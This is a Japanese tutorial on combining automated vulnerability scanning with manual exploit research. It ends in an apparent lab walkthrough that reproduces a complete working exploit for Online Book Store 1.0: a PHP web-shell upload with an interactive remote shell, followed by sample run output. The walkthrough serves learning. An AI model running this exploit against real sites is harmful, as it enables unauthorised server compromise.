はじめに
自動スキャンはスピードと再現性が強み、手動リサーチは創造力と深掘りが強み。実務では両者を組み合わせ、まず自動で“広く”、次に手動で“深く”掘るのが王道。
この記事ではツール・ワークフロー・注意点・学習ロードマップまで、実戦で使える形でまとめます。
概念
-
自動スキャン(Automated):Nessus、OpenVAS、Qualys、Rapid7(商用含む)、オープンソースのスキャナ群。「早い」「繰り返せる」「チーム共有しやすい」が利点。大量の対象に短時間で一貫したカバレッジをかけられる。
-
手動リサーチ(Manual):Burp Suite(手動+拡張)、カスタムスクリプト、git/GitHub上のPoC、Exploit-DB/ searchsploit、Metasploitモジュールの読み込み・修正。人間の直観と創意工夫で検出・再現しにくい脆弱性を見つける。
自動→フィルタ→手動深掘り のサイクルを回す。自動だけに頼ると「見落とし」を生むし、手動だけだと時間が無限に飛んでいく。
自動スキャンの利点と落とし穴
利点
- スピードとスケール:数百サーバでもスキャン可能。
- 標準化・再現性:同じ設定で定期スキャンすれば差分が見える。
- チーム共有:レポート形式(PDF/CSV)で経営層や他チームに渡しやすい。
欠点 / 注意点
- ノイズ(誤検知) が多い → 人手で取捨選択が必要。
- 大きなトラフィックを出す(「ラウド」)ため、許可なく実行すると検出されやすく、場合によってはサービスの障害を招く。
- 深いロジックバグやビジネスロジック欠陥は検出困難。
- 過信厳禁:ツールが“見つけない”=“安全”ではない。
手動リサーチで使う主要リソース / ツール(実戦向け)
- Rapid7 / Metasploit:エクスプロイトDB+モジュールで実行環境を整えられる
-
GitHub:最新のPoCや未公開に近いリサーチが置かれることがある(タグ:
PoC,exploit,cve) - Exploit-DB / searchsploit:オフラインで使える便利なエクスプロイト検索ツール。Kali や TryHackMe の AttackBox に標準装備されていることが多い。
- Burp Suite(Community/Pro):プロキシ+手動ペイロード生成、拡張で自動化も可能
- Nmap / NSE:サービス特定、初期列挙に強い
- ブラウザ + デバッガ(DevTools) / Fiddler / mitmproxy:JavaScript や API レスポンス観察、CSRF/Session 解析などに
実例:searchsploit の使い方(端末)
root@ip-x-x-x-x:~# searchsploit Online Book Store
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
GotoCode Online Bookstore - Multiple Vulnerab | asp/webapps/17921.txt
Online Book Store 1.0 - 'bookisbn' SQL Inject | php/webapps/47922.txt
Online Book Store 1.0 - 'id' SQL Injection | php/webapps/48775.txt
Online Book Store 1.0 - Arbitrary File Upload | php/webapps/47928.txt
Online Book Store 1.0 - Unauthenticated Remot | php/webapps/47887.py
Online Event Booking and Reservation System 1 | php/webapps/50450.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results
脆弱性タイプの理解
- Security Misconfiguration — 環境設定ミス(例:デバッグ情報漏えい)
- Broken Access Control — アクセス制御不備(権限昇格・参照横取り)
- Insecure Deserialization — シリアライズデータの悪用(RCEにつながることも)
- Injection(SQLi, Command Injection 等) — 入力を適切に処理していない
OWASP Top 10 は必読。実務で出てくるパターンの多くはここに集約されます。
実例:Online Book Store v1.0 の RCE(手順・再現)
以下は教育目的・許可されたラボ環境でのみ実行してください。
背景
-
ターゲット:Online Book Store 1.0(脆弱箇所:管理用 admin_add.php 等の未認証ファイルアップロード)
-
公開情報:Exploit-DB に 47887 として RCE PoC が登録されている。NVD にも CVE(例:CVE-2020-10224)として登録されている。
実行例(簡潔)
1.searchsploit で該当 exploit を探す(例は lab 上での出力)
root@ip-x-x-x-x:~# searchsploit Online Book Store
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
GotoCode Online Bookstore - Multiple Vulnerab | asp/webapps/17921.txt
Online Book Store 1.0 - 'bookisbn' SQL Inject | php/webapps/47922.txt
Online Book Store 1.0 - 'id' SQL Injection | php/webapps/48775.txt
Online Book Store 1.0 - Arbitrary File Upload | php/webapps/47928.txt
Online Book Store 1.0 - Unauthenticated Remot | php/webapps/47887.py
Online Event Booking and Reservation System 1 | php/webapps/50450.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results
それとも https://www.exploit-db.com/exploits/47887 にアクセスして
'Online Book Store 1.0 - Unauthenticated Remote Code Execution'の項目を見つけた。
https://www.exploit-db.com/exploits/47887 にアクセスして
EDB Verified: の属性はとても重要です。検証済みではないなら、スクリプトは使用できません。
このスクリプトはもう検証済みでした。
# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-01-07
# Exploit Author: Tib3rius
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Ubuntu 16.04
# CVE: N/A
import argparse
import random
import requests
import string
import sys
parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()
url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'
file = {'image': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
print('> Verifying shell upload...')
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)
if random_file in r.text:
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
if launch_shell.lower() == 'y':
while True:
cmd = str(input('RCE $ '))
if cmd == 'exit':
sys.exit(0)
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
print(r.text)
else:
if r.status_code == 200:
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
else:
print('> Web shell failed to upload! The web server may not have write permissions.')
2.PoC(47887.py)を実行する例
# python3 47887.py http://TARGET_IP
> Attempting to upload PHP web shell...
> Web shell uploaded to http://TARGET_IP/bootstrap/img/abcd1234.php
> Example command usage: http://TARGET_IP/bootstrap/img/abcd1234.php?cmd=whoami
# curl 'http://TARGET_IP/bootstrap/img/abcd1234.php?cmd=whoami'
www-data
# curl 'http://TARGET_IP/bootstrap/img/abcd1234.php?cmd=cat flag.txt'
> Do you wish to launch a shell here? (y/n): y
RCE $ cat flag.txt
THM{BOOK_KEEPING}
まとめ
- Nessus(Tenable) — 商用/Community
- Rapid7(Exploit DB + Metasploit 情報)
- GitHub — PoC の宝庫(ただし品質は玉石混交)
- searchsploit / Exploit-DB — オフライン検索便利
- OWASP Top 10 — 理解の核

